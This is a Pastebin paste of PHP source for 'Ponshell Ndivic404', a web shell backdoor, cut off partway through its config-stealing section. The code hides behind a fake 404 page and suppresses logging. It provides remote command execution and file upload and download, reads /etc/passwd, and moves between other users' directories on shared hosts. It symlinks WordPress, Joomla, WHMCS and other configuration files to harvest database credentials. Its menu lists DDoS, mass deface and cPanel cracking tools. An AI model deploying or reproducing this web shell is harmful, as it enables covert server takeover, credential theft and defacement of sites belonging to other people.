Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @session_start();
- @error_reporting(0);
- @set_time_limit(0);
- @clearstatcache();
- @error_log(0);
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- $ndivic = "74422acb38635311fee1224cc649410c"; //Pass: Ndivic404
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.1 404 Not Found');
- exit;
- }}
- function authentication() {
- ?>
- <html><head>
- <title>404 Not Found</title>
- </head><body>
- <h1>Not Found</h1>
- <p>The requested URL <?php echo $_SERVER['REQUEST_URI'];?> was not found on this server.</p>
- <hr>
- <address><?php echo $_SERVER['SERVER_SIGNATURE'];?></address>
- <?php
- if($_GET['login'] == '3xcr3w'){
- echo '<form method="post">
- <input type="password" name="ponshell">
- </form>';
- }
- ?>
- </body></html>
- <?php
- exit;
- }
- if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
- if(empty($ndivic) || (isset($_POST['ponshell']) && (md5($_POST['ponshell']) == $ndivic)))
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- authentication();
- if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
- @ob_clean();
- $file = $_GET['file'];
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="'.basename($file).'"');
- header('Expires: 0');
- header('Cache-Control: must-revalidate');
- header('Pragma: public');
- header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- }
- ?>
- <html>
- <head>
- <meta charset="utf-8">
- <meta content="IE=Edge" http-equiv="X-UA-Compatible">
- <meta content="width=device-width,minimum-scale=1,initial-scale=1" name="viewport">
- <title>Ponshell Ndivic404</title>
- <meta content='noindex' name='robots'/>
- <meta content='noindex' name='googlebot'/>
- <meta content='noindex' name='spiders'/>
- <meta content="Ndivic404" name="author" rel="author">
- <link type="text/css" rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
- <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
- <style type="text/css" rel="stylesheet">
- main {margin: 5em 0;}
- table {font-size: 14px;}
- .panel-default {border-color: #080808!important;}
- .panel-heading, .panel-footer {color: #ddd!important;background-color: #222!important;border-color: #080808!important;}
- </style>
- </head>
- <body>
- <?php
- // Ponshell Ndivic404
- // Thanks to IndoXploit and Extreme Crew
- // Responsive Backdoor
- // Made with Love by Ndivic404
- if (file_exists("php.ini")){
- }else{
- $img = fopen('php.ini', 'w');
- $sec = "safe_mode = OFF
- disable_funtions = NONE";
- fwrite($img ,$sec);
- fclose($img);}
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }}
- function w($dir,$perm) {
- if(!is_writable($dir)) {
- return "<font color='red'>".$perm."</font>";
- } else {
- return "<font color='green'>".$perm."</font>";
- }}
- function r($dir,$perm) {
- if(!is_readable($dir)) {
- return "<font color='red'>".$perm."</font>";
- } else {
- return "<font color='green'>".$perm."</font>";
- }}
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- $info = 'p';
- } else {
- $info = 'u';
- }
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- function hdd($s) {
- if($s >= 1073741824)
- return sprintf('%1.2f',$s / 1073741824 ).' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f',$s / 1048576 ) .' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f',$s / 1024 ) .' KB';
- else
- return $s .' B';
- }
- function ambilKata($param, $kata1, $kata2){
- if(strpos($param, $kata1) === FALSE) return FALSE;
- if(strpos($param, $kata2) === FALSE) return FALSE;
- $start = strpos($param, $kata1) + strlen($kata1);
- $end = strpos($param, $kata2, $start);
- $return = substr($param, $start, $end - $start);
- return $return;
- }
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- if(isset($_GET['dir'])) {
- $dir = $_GET['dir'];
- chdir($dir);
- } else {
- $dir = getcwd();
- }
- $dir = str_replace("\\","/",$dir);
- $scdir = explode("/", $dir);
- $freespace = hdd(disk_free_space("/"));
- $total = hdd(disk_total_space("/"));
- $used = $total - $freespace;
- $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
- $ds = @ini_get("disable_functions");
- $show_ds = (!empty($ds)) ? "<font color='red'>$ds</font>" : "<font color='green'>NONE</font>";
- $mysql = (function_exists('mysql_connect')) ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
- $curl = (function_exists('curl_version')) ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
- $wget = (exe('wget --help')) ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
- $perl = (exe('perl --help')) ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
- $python = (exe('python --help')) ? "<font color='green'>ON</font>" : "<font color='red'>OFF</font>";
- ?>
- <div class="container-fluid">
- <header class="navbar navbar-inverse navbar-fixed-top">
- <div class="container-fluid">
- <div class="navbar-header">
- <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#ponshellndivic404" aria-expanded="false">
- <span class="sr-only">Navigation</span>
- <span class="icon-bar"></span>
- <span class="icon-bar"></span>
- <span class="icon-bar"></span>
- </button>
- <b><a href="?" class="navbar-brand">Ponshell Ndivic404</a></b>
- </div>
- <nav class="collapse navbar-collapse" id="ponshellndivic404">
- <ul class="nav navbar-nav navbar-left">
- <li>
- <a href="#" class='dropdown-toggle' data-toggle='dropdown'>Tools <span class='caret'></span></a>
- <ul class='dropdown-menu'>
- <li><a href="<?php echo "?dir=$dir&do=zoneh"?>">Zone-H</a></li>
- <li><a href="<?php echo "?dir=$dir&do=adminer"?>">Adminer</a></li>
- <li><a href="<?php echo "?do=ddos"?>">DDoS</a></li>
- </ul>
- </li>
- <li>
- <a href="#" class='dropdown-toggle' data-toggle='dropdown'>Mass <span class='caret'></span></a>
- <ul class='dropdown-menu'>
- <li><a href="<?php echo "?dir=$dir&do=mass_deface"?>">Mass Deface</a></li>
- <li><a href="<?php echo "?dir=$dir&do=mass_delete"?>">Mass Delete</a></li>
- <li><a href="<?php echo "?dir=$dir&do=mass_helper"?>">Mass Helper</a></li>
- </ul>
- </li>
- <li><a href="<?php echo "?dir=$dir&do=network"?>">Network</a></li>
- <li><a href="<?php echo "?dir=$dir&do=config"?>">Config</a></li>
- <li><a href="<?php echo "?dir=$dir&do=jumping"?>">Jumping</a></li>
- <li><a href="<?php echo "?dir=$dir&do=symlink"?>">Symlink</a></li>
- <li><a href="<?php echo "?dir=$dir&do=bypass"?>">Bypass</a></li>
- <li><a href="<?php echo "?dir=$dir&do=cpanel"?>">Cpanel Crack</a></li>
- <li><a href="?logout=true"><b><font color="white">Logout</font></b></a></li>
- </ul>
- </nav>
- </div>
- </header>
- <main class="container-fluid">
- <div class="row">
- <div class="row">
- <div class="col-md-7">
- <div class="panel panel-default">
- <div class="panel-heading">
- <b>Server Information</b>
- </div>
- <div class="panel-body">
- <?php
- echo "<b>System:</b> ".php_uname()."<br>";
- echo "<b>User:</b> ".$user." (".$uid.") | <b>Group:</b> ".$group." (".$gid.")<br>";
- echo "<b>Server IP:</b> ".gethostbyname($_SERVER['HTTP_HOST'])." | <b>Your IP:</b> ".$_SERVER['REMOTE_ADDR']."<br>";
- echo "<b>HDD:</b> ".$used." / ".$total." | <b>Free:</b> ".$freespace."<br>";
- echo "<b>Safe Mode:</b> ".$sm."<br>";
- echo "<b>Disable Function:</b> ".$show_ds."<br>";
- echo "<b>MySQL:</b> ".$mysql." | <b>Perl:</b> ".$perl." | <b>Python:</b> ".$python." | <b>WGET:</b> ".$wget." | <b>CURL:</b> ".$curl."<br>";
- echo "<b>Current DIR:</b> ";
- foreach($scdir as $c_dir => $cdir) {
- echo "<a href='?dir=";
- for($i = 0; $i <= $c_dir; $i++) {
- echo $scdir[$i];
- if($i != $c_dir) {
- echo "/";
- }}
- echo "'>$cdir</a>/";
- }
- echo " [ ".w($dir, perms($dir))." ]";
- ?>
- </div>
- </div>
- </div>
- <div class="col-md-5">
- <div class="panel panel-default">
- <div class="panel-heading">
- <b>Uploader & Terminal</b>
- </div>
- <div class="panel-body">
- <?php
- echo '<form method="POST" enctype="multipart/form-data" class="input-group">
- <input type="file" name="ndivic404" class="form-control">
- <span class="input-group-btn"><input type="submit" value="Upload" class="btn btn-danger"></span></form>';
- $files = @$_FILES["ndivic404"];
- if ($files["name"] != '') {
- $fullpath = $_REQUEST["path"] . $files["name"];
- if (move_uploaded_file($files['tmp_name'], $fullpath)) {
- echo "File Uploaded. <a href='$full/$fullpath'>Click here!</a>";}}
- echo "<form method='post' action='?dir=$dir&do=cmd' class='input-group'>
- <span class='input-group-btn'><button type='button' class='btn btn-default'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).": ~ $ </button></span>
- <input type='text' name='cmd' class='form-control'><span class='input-group-btn'><input type='submit' name='do_cmd' value='Enter' class='btn btn-danger'></span>
- </form>";
- ?>
- </div>
- </div>
- </div>
- </div>
- <div class="panel panel-default">
- <div class="panel-heading">
- <b>Ngoprek</b>
- </div>
- <div class="panel-body">
- <?php
- if($_GET['logout'] == true) {
- unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
- @session_destroy();
- echo "<script>window.location='?';</script>";
- }elseif($_GET['do'] == 'cmd') {
- if($_POST['do_cmd']) {
- echo "<textarea readonly style='width:100%;height:50%;'>".@exe($_POST['cmd'])."</textarea>";
- }
- }elseif($_GET['do'] == 'bypass') {
- echo "<label>Bypass etc/passwd With:</label>
- <form method='post' class='btn-group'>
- <input type='submit' value='System Function' name='syst' class='btn btn-success'>
- <input type='submit' value='Passthru Function' name='passth' class='btn btn-primary'>
- <input type='submit' value='Exec Function' name='ex' class='btn btn-info'>
- <input type='submit' value='Shell_exec Function' name='shex' class='btn btn-warning'>
- <input type='submit' value='Posix_getpwuid Function' name='melex' class='btn btn-danger'>
- </form>";
- if($_POST['syst'])
- {
- echo"<textarea class='form-control' style='height:50%;'>";
- echo system("cat /etc/passwd");
- echo"</textarea>";
- }
- elseif($_POST['passth'])
- {
- echo"<textarea class='form-control' style='height:50%;'>";
- echo passthru("cat /etc/passwd");
- echo"</textarea>";
- }
- elseif($_POST['ex'])
- {
- echo"<textarea class='form-control' style='height:50%;'>";
- echo exec("cat /etc/passwd");
- echo"</textarea>";
- }
- elseif($_POST['shex'])
- {
- echo"<textarea class='form-control' style='height:50%;'>";
- echo shell_exec("cat /etc/passwd");
- echo"</textarea>";
- }
- elseif($_POST['melex'])
- {
- echo"<textarea class='form-control' style='height:50%;'>";
- for($uid=0;$uid<60000;$uid++){
- $ara = posix_getpwuid($uid);
- if (!empty($ara)) {
- while (list ($key, $val) = each($ara)){
- print "$val:";
- }
- print "\n";
- }}
- echo"</textarea>";
- }}elseif($_GET['do'] == 'jumping') {
- $i = 0;
- if(preg_match("/hsphere/", $dir)) {
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $url = str_replace(array("http://","www."), "", strtolower($url));
- $etc = "/etc/passwd";
- $f = fopen($etc,"r");
- while($gets = fgets($f)) {
- $pecah = explode(":", $gets);
- $user = $pecah[0];
- $dir_user = "/hsphere/local/home/$user";
- if(is_dir($dir_user) === true) {
- $url_user = $dir_user."/".$url;
- if(is_readable($url_user)) {
- $i++;
- $jrw = "[<font color='green'>R</font>] <a href='?dir=$url_user'><font color='blue'>$url_user</font></a>";
- if(is_writable($url_user)) {
- $jrw = "[<font color='green'>RW</font>] <a href='?dir=$url_user'><font color='blue'>$url_user</font></a>";
- }
- echo $jrw."<br>";
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- } else {
- echo '<center>
- <form method="post" class="form-group">
- List Domains: <br>
- <textarea name="url" class="form-control" style="height: 50%;">';
- $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
- while($getss = fgets($fp)) {
- echo $getss;
- }
- echo '</textarea><br>
- <input type="submit" value="Jumping" class="btn btn-danger btn-block">
- </form></center>';
- }} elseif(preg_match("/vhosts/", $dir)) {
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $web_vh = "/var/www/vhosts/$url/httpdocs";
- if(is_dir($web_vh) === true) {
- if(is_readable($web_vh)) {
- $i++;
- $jrw = "[<font color='green'>R</font>] <a href='?dir=$web_vh'><font color='blue'>$web_vh</font></a>";
- if(is_writable($web_vh)) {
- $jrw = "[<font color='green'>RW</font>] <a href='?dir=$web_vh'><font color='blue'>$web_vh</font></a>";
- }echo $jrw."<br>";
- }}}
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }echo "</pre>";
- } else {
- echo '<center>
- <form method="post" class="form-group">
- List Domains: <br>
- <textarea name="url" class="form-control" style="height:50%;">';
- bing("ip:$ip");
- echo '</textarea><br>
- <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
- </form></center>';
- }
- } else {
- echo "<pre>";
- $etc = fopen("/etc/passwd", "r") or die("<font color='red'>Can't read /etc/passwd</font>");
- while($passwd = fgets($etc)) {
- if($passwd == '' || !$etc) {
- echo "<font color='red'>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
- foreach($user_jumping[1] as $user_ec_jump) {
- $user_jumping_dir = "/home/$user_ec_jump/public_html";
- if(is_readable($user_jumping_dir)) {
- $i++;
- $jrw = "[<font color='green'>R</font>] <a href='?dir=$user_jumping_dir'><font color='blue'>$user_jumping_dir</font></a>";
- if(is_writable($user_jumping_dir)) {
- $jrw = "[<font color='green'>RW</font>] <a href='?dir=$user_jumping_dir'><font color='blue'>$user_jumping_dir</font></a>";
- }
- echo $jrw;
- if(function_exists('posix_getpwuid')) {
- $domain_jump = file_get_contents("/etc/named.conf");
- if($domain_jump == '') {
- echo " => ( <font color='red'>Can't get domain name</font> )<br>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
- foreach($domains_jump[1] as $dj) {
- $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_jumping_url = $user_jumping_url['name'];
- if($user_jumping_url == $user_ec_jump) {
- echo " => ( <u>$dj</u> )<br>";
- break;
- }}}} else {
- echo "<br>";
- }}}}}
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }echo "</pre>";}
- }elseif($_GET['do'] == 'config') {
- if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
- echo '<script>alert("Skid this won\'t work on Windows")</script>';
- exit;}
- else{
- if($_POST["m"] && !$_POST["passwd"]==""){
- @mkdir("div_config", 0777);
- @chdir("div_config");
- @symlink("/","root");
- $htaccess="Options Indexes FollowSymLinks
- DirectoryIndex ndivic.html
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any";
- @file_put_contents(".htaccess",$htaccess);
- $etc_passwd=$_POST["passwd"];
- $etc_passwd=explode("\n",$etc_passwd);
- foreach($etc_passwd as $passwd){
- $pawd = explode(":",$passwd);
- $user = $pawd[0];
- @symlink('/','div_config/root');
- @symlink('/home/'.$user.'/public_html/application/config/database.php',$user.'-CodeIgniter.txt');
- @symlink('/home/'.$user.'/public_html/./application/config/database.php',$user.'-CodeIgniter.txt');
- @symlink('/home/'.$user.'/public_html/../application/config/database.php',$user.'-CodeIgniter.txt');
- @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
- @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
- @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
- @symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
- @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
- @symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
- @symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
- @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
